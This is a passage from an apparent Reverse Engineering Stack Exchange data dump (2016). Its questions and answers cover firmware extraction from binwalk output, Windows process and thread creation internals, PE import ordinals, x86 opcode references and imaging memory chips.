0x4C9DC0        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c&#xA;5021121       0x4C9DC1        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c&quot;&#xA;5021151       0x4C9DDF        eCos RTOS string reference: &quot;eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c&quot;&#xA;5021876       0x4CA0B4        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c&#xA;5021877       0x4CA0B5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c&quot;&#xA;5021907       0x4CA0D3        eCos RTOS string reference: &quot;eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c&quot;&#xA;5033632       0x4CCEA0        Unix path: /home/mstar/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/audio/halAUDIO.c&#xA;5033707       0x4CCEEB        eCos RTOS string reference: &quot;ecos/../../mxlib/hal/kriti/audio/halAUDIO.c&quot;&#xA;5038144       0x4CE040        Unix path: /home/stb/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/dac/halDAC.c&#xA;5038217       0x4CE089        eCos RTOS string reference: &quot;ecos/../../mxlib/hal/kriti/dac/halDAC.c&quot;&#xA;5066028       0x4D4D2C        Unix path: /home/mstar/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/mvd/halMVD.c&#xA;5066103       0x4D4D77        eCos RTOS string reference: &quot;ecos/../../mxlib/hal/kriti/mvd/halMVD.c&quot;&#xA;5091476       0x4DB094        eCos RTOS string reference: &quot;eCos Newhost&quot;&#xA;5108812       0x4DF44C        Unix path: /home/stb/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/ve/mhal_tvencoder.c&#xA;5108885       0x4DF495        eCos RTOS string reference: &quot;ecos/../../mxlib/hal/kriti/ve/mhal_tvencoder.c&quot;&#xA;5109464       0x4DF6D8        Unix path: /home/franke.wu/workspace/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/msos/ecos/MsOS_ecos.c&#xA;5109544       0x4DF728        eCos RTOS string reference: &quot;ecos/../../mxlib/msos/ecos/MsOS_ecos.c&quot;&#xA;5109566       0x4DF73E        eCos RTOS string reference: &quot;ecos/MsOS_ecos.c&quot;&#xA;5109576       0x4DF748        eCos RTOS string reference: &quot;ecos.c&quot;&#xA;5110012       0x4DF8FC        Unix path: /home/franke.wu/workspace/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/drv/miu/drvMIU.c&#xA;5110092       0x4DF94C        eCos RTOS string reference: &quot;ecos/../../mxlib/drv/miu/drvMIU.c&quot;&#xA;5110300       0x4DFA1C        eCos RTOS string reference: &quot;ecos/../../mxlib/drv/sys/drvDMD_VD_MBX.c&quot;&#xA;5304106       0x50EF2A        Unix path: /../src/si_v2/apiSI.c&#xA;5307730       0x50FD52        Unix path: /../src/dvb_subtitle/apiSubtitle_DC2_Decoder.c&#xA;5308386       0x50FFE2        Unix path: /../src/dvb_subtitle/apiSubtitle_Decoder.c&#xA;5403172       0x527224        CRC32 polynomial table, little endian&#xA;5407268       0x528224        CRC32 polynomial table, big endian&#xA;5428390       0x52D4A6        Unix path: /../src/mm/mapp_music.c&#xA;5431970       0x52E2A2        Unix path: /../src/espvr/apiEsPVR.cpp&#xA;5433930       0x52EA4A        Unix path: /../src/espvr/core/src/api/mapi_pvr_browser.cpp&#xA;5434774       0x52ED96        Unix path: /../src/espvr/core/src/api/mapi_pvr.cpp&#xA;5438298       0x52FB5A        Unix path: /../src/espvr/core/src/utility/PVR_File_Operand.cpp&#xA;5438798       0x52FD4E        Unix path: /../src/espvr/core/src/context/PVR_File_Root.cpp&#xA;5439894       0x530196        Unix path: /../src/espvr/core/src/context/PVR_Metadata.cpp&#xA;5441758       0x5308DE        Unix path: /../src/espvr/core/src/path/PVR_Path_Download.cpp&#xA;5443490       0x530FA2        Unix path: /../src/espvr/core/src/path/PVR_Path_DualDownload.cpp&#xA;5445230       0x53166E        Unix path: /../src/espvr/core/src/path/PVR_Path_ESPlayer.cpp&#xA;5445914       0x53191A        Unix path: /../src/espvr/core/src/path/PVR_Path_Manager.cpp&#xA;5447010       0x531D62        Unix path: /../src/espvr/core/src/path/PVR_Path_TSPlayer.cpp&#xA;5448770       0x532442        Unix path: /../src/espvr/core/src/context/PVR_Splitted_File.cpp&#xA;5449582       0x53276E        Unix path: /../src/espvr/core/src/context/PVR_Sys.cpp&#xA;5450354       0x532A72        Unix path: /../src/espvr/core/src/path/PVR_Thread.cpp&#xA;5452094       0x53313E        Unix path: /../src/espvr/core/src/path/PVR_Upload_State_Scan.cpp&#xA;5452634       0x53335A        Unix path: /../src/espvr/core/src/context/PVR_VideoParser.cpp&#xA;5453802       0x5337EA        Unix path: /../src/espvr/core/src/data_manager/PVR_Data_RingBuffer.cpp&#xA;5454258       0x5339B2        Unix path: /../src/espvr/core/src/context/PVR_File_IO_Read.cpp&#xA;5456690       0x534332        Unix path: /../src/espvr/core/src/context/PVR_File_IO_Write.cpp&#xA;5457670       0x534706        Unix path: /../src/espvr/core/src/path/PVR_Upload_State_188Normal.cpp&#xA;5458488       0x534A38        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/infra/v2_0_60/src/pure.cxx&#xA;5458489       0x534A39        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/infra/v2_0_60/src/pure.cxx&quot;&#xA;5458519       0x534A57        eCos RTOS string reference: &quot;eCospro/packages/infra/v2_0_60/src/pure.cxx&quot;&#xA;5458613       0x534AB5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/kapi.cxx&quot;&#xA;5458643       0x534AD3        eCos RTOS string reference: &quot;eCospro/packages/services/memalloc/common/v2_0_60/src/kapi.cxx&quot;&#xA;5460693       0x5352D5        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/&quot;&#xA;5460723       0x5352F3        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mfiximpl.inl&quot;&#xA;5460741       0x535305        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mfiximpl.inl&quot;&#xA;5461473       0x5355E1        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/&quot;&#xA;5461503       0x5355FF        eCos RTOS string reference: &quot;eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mvarimpl.inl&quot;&#xA;5461521       0x535611        eCos RTOS string reference: &quot;eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mvarimpl.inl&quot;&#xA;5462269       0x5358FD        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/setvbuf.cxx&quot;&#xA;5462299       0x53591B        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/setvbuf.cxx&quot;&#xA;5522696       0x544508        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx&#xA;5522697       0x544509        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx&quot;&#xA;5522727       0x544527        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx&quot;&#xA;5523265       0x544741        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/input/fgetc.cxx&quot;&#xA;5523295       0x54475F        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/stdio/v2_0_60/src/input/fgetc.cxx&quot;&#xA;5524333       0x544B6D        eCos RTOS string reference: &quot;ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/time/v2_0_60/src/strftime.cxx&quot;&#xA;5524363       0x544B8B        eCos RTOS string reference: &quot;eCospro/packages/language/c/libc/time/v2_0_60/src/strftime.cxx&quot;&#xA;6055568       0x5C6690        LZMA compressed data, properties: 0x5A, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes&#xA;7114983       0x6C90E7        Boot section Start 0x7040000 End 0x-FFF9&#xA;7564060       0x736B1C        YAFFS filesystem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did tried unyaffs and unyaffs2 to extract but without any success, alsot tried  to extract those .7z files but they does not containt nothing. &lt;a href=&quot;https://drive.google.com/file/d/0B95UR9turb7DWEZ1UjMyRVBXMzg/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Firmware&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3810" LastActivityDate="2016-06-17T07:58:38.723" Title="Extract YAFFS filesystem from binary" Tags="|linux|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12864" PostTypeId="2" ParentId="12861" CreationDate="2016-06-16T15:30:32.803" Score="2" Body="&lt;p&gt;Ok so ZwCreateThread has it in the context structure (PCONTEXT + 0xB0)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The api calls to receive the address are like this:&#xA;&lt;code&gt;CreateSection(..SectionInformation..)&lt;/code&gt; - Probably to create to initial address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;NtQuerySection(Handle, x, SectionInformation, x, x)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This SectionInformation is containing the address of the EntryPoint of the remote process, later initializing the &lt;code&gt;ThreadContext&lt;/code&gt; with the function &lt;code&gt;_BaseInitializeContext@20&lt;/code&gt; and then using &lt;code&gt;ZwCreateThread&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was all checked under windows xp, hopefully it will be of use for someone&lt;/p&gt;&#xA;" OwnerUserId="11510" LastActivityDate="2016-06-16T15:30:32.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12865" PostTypeId="2" ParentId="12861" CreationDate="2016-06-16T16:20:27.087" Score="4" Body="&lt;p&gt;Disclaimer:  The implementation of these APIs is likely to change between versions of Windows.  I will be referencing 32-bit Windows XP SP3 in my answer.  Your results may vary.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How thread creation works&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are three structures that must be initialized before calling &lt;a href=&quot;http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtCreateThread.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;NtCreateThread&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://processhacker.sourceforge.net/doc/struct___i_n_i_t_i_a_l___t_e_b.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;INITIAL_TEB&lt;/code&gt;&lt;/a&gt;: Contains pointers to the stack region&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms679284(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;CONTEXT&lt;/code&gt;&lt;/a&gt;: Contains the register state&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff557749(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;OBJECT_ATTRIBUTES&lt;/code&gt;&lt;/a&gt;: Contains security attributes for the thread&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In my implementation, there are dedicated functions that handle each of these tasks: &lt;code&gt;BaseCreateStack&lt;/code&gt;, &lt;code&gt;BaseInitializeContext&lt;/code&gt;, and &lt;code&gt;BaseFormatObjectAttributes&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;BaseInitializeContext&lt;/code&gt; function is the one you're interested in, however, since the new thread will begin at &lt;code&gt;CONTEXT.Eip&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, &lt;code&gt;BaseInitializeContext&lt;/code&gt; instead puts the thread's start address (i.e. the entry point of the new process) in &lt;code&gt;CONTEXT.Eax&lt;/code&gt;.  And &lt;code&gt;CONTEXT.Eip&lt;/code&gt; is set to the address of &lt;code&gt;BaseProcessStartThunk&lt;/code&gt;.  (Since &lt;code&gt;kernel32&lt;/code&gt; is mapped at the same address in every process, we know this will also be the address of &lt;code&gt;BaseProcessStartThunk&lt;/code&gt; in the other process)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when we call &lt;code&gt;NtCreateThread&lt;/code&gt;, we start a new thread in the other process at &lt;code&gt;BaseProcessStartThunk&lt;/code&gt; with &lt;code&gt;eax&lt;/code&gt; equal to the entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BaseProcessStartThunk&lt;/code&gt; saves the start address from register &lt;code&gt;eax&lt;/code&gt;. It sets the start address internally by calling &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff567101(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;NtSetInformationThread&lt;/code&gt;&lt;/a&gt; with a &lt;code&gt;ThreadInformationClass&lt;/code&gt; of &lt;code&gt;ThreadQuerySetWin32StartAddress&lt;/code&gt; (see &lt;code&gt;ntddk.h&lt;/code&gt;).  It then calls the start address.  Finally, when the thread returns, it calls &lt;code&gt;ExitThread&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How the executable image is mapped into the new process&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to know the process was created in the first place, we have to go back a few steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, a handle to the new process executable is opened via &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff567011(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;NtOpenFile&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file handle is used to create a &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff563684(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;section&lt;/a&gt; object via &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff566428(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;NtCreateSection&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A call to &lt;a href=&quot;http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtQuerySection.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;NtQuerySection&lt;/code&gt;&lt;/a&gt; with &lt;code&gt;InformationClass&lt;/code&gt; set to &lt;code&gt;SectionImageInformation&lt;/code&gt; is made.  This parses the the section object and fills out a &lt;a href=&quot;http://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FSECTION_IMAGE_INFORMATION.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;SECTION_IMAGE_INFORMATION&lt;/code&gt;&lt;/a&gt; structure, which most notably includes fields the &lt;code&gt;EntryPoint&lt;/code&gt; field.  This is how the entry point of the new process is determined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually, &lt;a href=&quot;https://doxygen.reactos.org/d2/d9f/ntoskrnl_2ps_2process_8c_source.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;NtCreateProcessEx&lt;/code&gt;&lt;/a&gt; is called, given the section handle from &lt;code&gt;NtCreateSection&lt;/code&gt; as a parameter.  This is what actually creates the new process and maps the executable image into the new process' address space, among many other things.  &lt;code&gt;NtCreateProcessEx&lt;/code&gt; also provides the process handle that we pass to &lt;code&gt;NtCreateThread&lt;/code&gt; to create the new thread.&lt;/p&gt;&#xA;" OwnerUserId="207" LastActivityDate="2016-06-16T16:20:27.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12866" PostTypeId="1" CreationDate="2016-06-16T17:39:49.157" Score="3" ViewCount="1759" Body="&lt;p&gt;I have a library DLL and a program that uses the library (statically; the DLL is separate). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to find a bunch of the functions from the library in the program, but unfortunately, it looks like they were compiled with a different compiler / very different options, making hex scans unsuccessful. Those that I have found via strings / order are different in that the program has a push/pop ebp shell, often uses different registers, and sometimes uses different opcodes, but they accomplish the same thing in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools / techniques that could assist me with finding some of the other functions? In the DLL, of course, the functions are, for the most part, right next to each other, but in the program they are mixed, making it hard to find any functions that don't contain strings.&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2016-11-21T08:11:07.117" Title="Is there a tool to scan for code / functions that can account for different compilers?" Tags="|ida|assembly|disassemblers|hex|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12867" PostTypeId="2" ParentId="12379" CreationDate="2016-06-16T18:22:47.817" Score="5" Body="&lt;p&gt;I do not know of any comprehensive list, but &lt;strong&gt;here (&lt;a href=&quot;http://ref.x86asm.net/coder32-abc.html&quot; rel=&quot;nofollow&quot;&gt;32-bit&lt;/a&gt;/&lt;a href=&quot;http://ref.x86asm.net/coder64-abc.html&quot; rel=&quot;nofollow&quot;&gt;64-bit&lt;/a&gt;) is a very useful reference&lt;/strong&gt; which contains most of the information you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note their &lt;a href=&quot;http://ref.x86asm.net/index.html&quot; rel=&quot;nofollow&quot;&gt;description&lt;/a&gt; of the operand columns:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If an operand is set up using italic, it is an implicit operand, which is not explicitly used. If an operand is set up using boldface, it is modified by the instruction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So for example, in the 8-bit version of the &lt;code&gt;MUL&lt;/code&gt; instruction (&lt;code&gt;AX = AL * r/m8&lt;/code&gt;), they list the operands as &lt;strong&gt;&lt;em&gt;AX&lt;/em&gt;&lt;/strong&gt;, &lt;em&gt;AL&lt;/em&gt;, and r/m8.  Note that the first two operands are italicized because they are implicit, and the first operand is bolded because it is modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this does not cover all cases of register modification.  For example, &lt;code&gt;MOVSD&lt;/code&gt; only lists &lt;strong&gt;&lt;em&gt;m32&lt;/em&gt;&lt;/strong&gt; and &lt;em&gt;m32&lt;/em&gt; for the operands and does not mention the fact that &lt;code&gt;ESI&lt;/code&gt; and &lt;code&gt;EDI&lt;/code&gt; are dereferenced and then adjusted by 4.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Still, it covers almost all cases, including:  &lt;code&gt;AAA&lt;/code&gt;, &lt;code&gt;AAD&lt;/code&gt;, &lt;code&gt;AAM&lt;/code&gt;, &lt;code&gt;AAS&lt;/code&gt;, &lt;code&gt;CBW&lt;/code&gt;, &lt;code&gt;CDQ&lt;/code&gt;, &lt;code&gt;CLTS&lt;/code&gt;, &lt;code&gt;CMPXCHG&lt;/code&gt;, &lt;code&gt;CMPXCHG8B&lt;/code&gt;, &lt;code&gt;CPUID&lt;/code&gt;, &lt;code&gt;CWD&lt;/code&gt;, &lt;code&gt;CWDE&lt;/code&gt;, &lt;code&gt;DAA&lt;/code&gt;, &lt;code&gt;DAS&lt;/code&gt;, &lt;code&gt;DIV&lt;/code&gt;, &lt;code&gt;ENTER&lt;/code&gt;, &lt;code&gt;IDIV&lt;/code&gt;, &lt;code&gt;IMUL&lt;/code&gt;, &lt;code&gt;IN&lt;/code&gt;, &lt;code&gt;LAHF&lt;/code&gt;, &lt;code&gt;LEAVE&lt;/code&gt;, &lt;code&gt;LGDT&lt;/code&gt;, &lt;code&gt;LIDT&lt;/code&gt;, &lt;code&gt;LLDT&lt;/code&gt;, &lt;code&gt;LMSW&lt;/code&gt;, &lt;code&gt;LOOP&lt;/code&gt;, &lt;code&gt;LOOPcc&lt;/code&gt;, &lt;code&gt;MONITOR&lt;/code&gt;, &lt;code&gt;MUL&lt;/code&gt;, &lt;code&gt;OUT&lt;/code&gt;, &lt;code&gt;POPA&lt;/code&gt;, &lt;code&gt;PUSHA&lt;/code&gt;, &lt;code&gt;RDMSR&lt;/code&gt;, &lt;code&gt;RDPMC&lt;/code&gt;, &lt;code&gt;RDTSC&lt;/code&gt;, &lt;code&gt;RDTSCP&lt;/code&gt;, &lt;code&gt;REP&lt;/code&gt;, &lt;code&gt;SAHF&lt;/code&gt;, &lt;code&gt;SALC&lt;/code&gt;, &lt;code&gt;SGDT&lt;/code&gt;, &lt;code&gt;WRMSR&lt;/code&gt;, and many of the float and SSE instructions, as well as a couple instructions that do not have mnemonics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not (completely) cover some others, including:  &lt;code&gt;CMPS&lt;/code&gt;, &lt;code&gt;INS&lt;/code&gt;, &lt;code&gt;LODS&lt;/code&gt;, &lt;code&gt;MASKMOVDQU&lt;/code&gt;, &lt;code&gt;MASKMOVQ&lt;/code&gt;, &lt;code&gt;MOVS&lt;/code&gt;, &lt;code&gt;OUTS&lt;/code&gt;, &lt;code&gt;SCAS&lt;/code&gt;, &lt;code&gt;STOS&lt;/code&gt;. Modifications to the stack pointer are generally not mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you care about segment registers, there are also &lt;code&gt;LDS&lt;/code&gt;, &lt;code&gt;LES&lt;/code&gt;, &lt;code&gt;LFS&lt;/code&gt;, &lt;code&gt;LGS&lt;/code&gt;, &lt;code&gt;LSS&lt;/code&gt;, and the segment prefixes.  Several other instructions can implicitly modify the segment registers, however.  Additionally, instructions that access memory implicitly access cached information from the segment registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Note: The above are not comprehensive lists!&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, you need to read the &lt;a href=&quot;http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html&quot; rel=&quot;nofollow&quot;&gt;Intel Manuals&lt;/a&gt; to get the official documentation, but this chart should still save you a lot of time.&lt;/p&gt;&#xA;" OwnerUserId="207" LastEditorUserId="207" LastEditDate="2016-06-17T14:47:21.800" LastActivityDate="2016-06-17T14:47:21.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12869" PostTypeId="2" ParentId="12848" CreationDate="2016-06-16T20:26:30.610" Score="2" Body="&lt;p&gt;I am not aware of any fully-fledged plugin, but there are some halfway solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/a1ext/labeless&quot; rel=&quot;nofollow&quot;&gt;Labeless&lt;/a&gt; looks promising and provides&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Labels/Comments synchronization between IDA PRO and dbg backend (OllyDbg1.10, OllyDbg 2.01, x64dbg)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Another solution is &lt;a href=&quot;https://github.com/tmr232/ret-sync&quot; rel=&quot;nofollow&quot;&gt;ret-sync&lt;/a&gt; (or &lt;a href=&quot;https://github.com/bootleg/ret-sync&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). It syncs your current address between IDA and various debuggers, and allows for basic command passing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of those provide a true debugger interface, but they do make life easier.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-06-16T20:26:30.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12870" PostTypeId="2" ParentId="12863" CreationDate="2016-06-17T07:58:38.723" Score="1" Body="&lt;p&gt;You cannot extract files with unyaffs tools, because the firmware does not contain yaffs. The first compressed image is the bootloader, which displays the splash screen image. It seems that the image start address was found by binwalk correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second compressed image is an ecos image started at address &lt;code&gt;0x80000180&lt;/code&gt;. You can analyse it with IDA or your favorite disassemble, which support MIPS in little endian.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-06-17T07:58:38.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12872" PostTypeId="1" CreationDate="2016-06-17T12:24:18.673" Score="1" ViewCount="3435" Body="&lt;p&gt;I am trying to figure out how to get the imports of a PE using the PEfile python project (&lt;a href=&quot;https://github.com/erocarrera/pefile&quot; rel=&quot;nofollow&quot;&gt;https://github.com/erocarrera/pefile&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing special about that library is the &lt;strong&gt;ordlookup&lt;/strong&gt; folder.&#xA;It looks like it is mapping ordinals to specific function names for known dlls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran PEfile on a .exe I had and I got in the imports: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;wsock32.dll&quot;: {&#xA;    &quot;listen&quot;: &quot;0x44a560&quot;,&#xA;    &quot;accept&quot;: &quot;0x44a564&quot;,&#xA;    &quot;htons&quot;: &quot;0x44a568&quot;,&#xA;    &quot;getsockname&quot;: &quot;0x44a56c&quot;,&#xA;    &quot;gethostbyname&quot;: &quot;0x44a570&quot;,&#xA;    &quot;gethostname&quot;: &quot;0x44a574&quot;,&#xA;    &quot;ntohl&quot;: &quot;0x44a578&quot;,&#xA;    &quot;inet_addr&quot;: &quot;0x44a57c&quot;,&#xA;    &quot;ntohs&quot;: &quot;0x44a580&quot;,&#xA;    &quot;ioctlsocket&quot;: &quot;0x44a584&quot;,&#xA;    &quot;recv&quot;: &quot;0x44a588&quot;,&#xA;    &quot;send&quot;: &quot;0x44a58c&quot;,&#xA;    &quot;recvfrom&quot;: &quot;0x44a590&quot;,&#xA;    &quot;sendto&quot;: &quot;0x44a594&quot;,&#xA;    &quot;select&quot;: &quot;0x44a598&quot;,&#xA;    &quot;connect&quot;: &quot;0x44a59c&quot;,&#xA;    &quot;WSACleanup&quot;: &quot;0x44a5a0&quot;,&#xA;    &quot;WSAStartup&quot;: &quot;0x44a5a4&quot;,&#xA;    &quot;inet_ntoa&quot;: &quot;0x44a5a8&quot;,&#xA;    &quot;bind&quot;: &quot;0x44a5ac&quot;,&#xA;    &quot;getpeername&quot;: &quot;0x44a5b0&quot;,&#xA;    &quot;setsockopt&quot;: &quot;0x44a5b4&quot;,&#xA;    &quot;socket&quot;: &quot;0x44a5b8&quot;,&#xA;    &quot;WSAGetLastError&quot;: &quot;0x44a5bc&quot;,&#xA;    &quot;closesocket&quot;: &quot;0x44a5c0&quot;&#xA;  },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I removed the line that allows that ordlookup module to work an re-ran PEfile:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;wsock32.dll&quot;: {&#xA;    &quot;null&quot;: &quot;0x44a5c0&quot;&#xA;},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why do I get two different answer? What are ordinals / what does ordinals do?&lt;/p&gt;&#xA;" OwnerUserId="16324" LastActivityDate="2018-10-02T16:00:53.877" Title="Resolving DLL function names using ordinals" Tags="|windows|pe|static-analysis|python|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12873" PostTypeId="1" CreationDate="2016-06-17T14:21:56.717" Score="1" ViewCount="294" Body="&lt;p&gt;I've been playing around a lot with the xeltek reader, which lets me image various memory chips. Usually, I just use the catalog number used to get the chip's datasheet and search xelteks database for a proper adapter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if I have an electronic device that uses a proprietary chip or no catalog number is given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about making a binary image of the mystery chip in question? Is there any readily available hardware that will help do this?&lt;/p&gt;&#xA;" OwnerUserId="13451" LastActivityDate="2016-06-21T08:01:10.610" Title="How would I go about imaging a propriatary flash or eeprom memory chip?" Tags="|memory|digital-forensics|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
